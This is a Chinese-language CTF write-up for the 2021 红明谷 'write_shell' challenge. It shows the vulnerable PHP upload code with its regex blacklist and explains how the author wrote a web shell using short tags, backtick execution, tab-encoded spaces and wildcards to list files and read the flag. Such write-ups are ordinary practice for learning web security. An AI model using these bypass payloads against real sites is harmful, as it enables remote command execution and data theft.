BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/‘| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/‘| |_|=|php/",$input)){
        die(hacker!!!);
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = sandbox/ . md5($_SERVER[REMOTE_ADDR]) . /;
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case pwd:
        echo $dir;
        break;
    case upload:
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

代码审计

check是个 黑名单过滤

waf是调用check对数组检测

最后是get传参,传入action的值有两种情况,

传入pwd打印目录

action=pwd

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

action=upload

可以上传data到index.php

 


 

 

思路很简单了上传一句话木马即可

正则过滤了:“/‘| |_|php|;|~|\\^|\\+|eval|{|}/i"

<?=`ls`?>

看上去过滤很多实际上不是什么都没过滤吗。。。

这里访问pwd下的路径

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

<?=`ls%09/`?>

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

 

<?=`cat%09/f*`?>

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

 

 

 


本质上是个简单题目

实际上准备写一道存储式xss,但是死活收不到cookie,环境貌似有问题

先随便找了到300人的题目,但是没想到这么简单

 

但是还是总结一下吧,首先过滤了php,短标签即可

<?=***?>

空格过滤了%09啥的都可以绕过

至于目标文件文件名带空格,不能用%09,通配符绕过


 

另外一个小知识点:

a?b:c 三目运算符,没啥好说的

a?:b a为真返回 否则返回b

a??b a存在(不为null)返回a,否则返回b

 

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

上一篇:C#——内存、枚举、结构体


下一篇:FLINK基础(133): DS PROCESS FUNCTION (2) ProcessFunction/KeyedProcessFunction/ProcessWindowFunction/ProcessAllWindowFunction(窗口处理)/CoProcessFunction(双流处理)